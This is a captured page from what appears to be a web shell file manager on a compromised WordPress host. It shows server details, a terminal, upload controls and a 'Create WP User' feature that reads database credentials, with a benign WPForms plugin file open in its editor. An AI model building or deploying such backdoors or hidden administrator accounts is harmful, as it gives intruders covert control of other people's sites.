Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat_30102025
/
wp-content
/
plugins
/
wpforms-lite
/
src
/
Integrations
/
DefaultContent
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
DefaultContent.php
1.53 KB
-rw-r--r--
2025-04-10 14:57
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
DefaultContent.php
<?php namespace WPForms\Integrations\DefaultContent; use WPForms\Integrations\IntegrationInterface; /** * Class DefaultContent. * * @since 1.7.2 */ class DefaultContent implements IntegrationInterface { /** * Indicate if current integration is allowed to load. * * @since 1.7.2 * * @return bool */ public function allow_load() { global $pagenow; return get_option( 'fresh_site' ) && $pagenow === 'customize.php'; } /** * Load an integration. * * @since 1.7.2 */ public function load() { add_filter( 'get_theme_starter_content', [ $this, 'modify_starter_content' ], 1000, 2 ); } /** * Append education text to Contact page content. * * @since 1.7.2 * * @param array $content Array of starter content. * @param array $config Array of theme-specific starter content configuration. * * @return array */ public function modify_starter_content( $content, $config ) { if ( ! isset( $content['posts']['contact'] ) ) { return $content; } $content['posts']['contact']['post_content'] .= sprintf( "<!-- wp:paragraph -->\n<p>%s</p>\n<!-- /wp:paragraph -->", wp_kses( sprintf( /* translators: %s - forms overview page URL. */ _x( 'Create your <a href="%s" target="_blank" rel="noopener noreferrer">contact form</a> with WPForms in minutes.', 'Theme starter content', 'wpforms-lite' ), esc_url( admin_url( 'admin.php?page=wpforms-overview' ) ) ), [ 'a' => [ 'href' => [], 'rel' => [], 'target' => [], ], ] ) ); return $content; } }
关闭
保存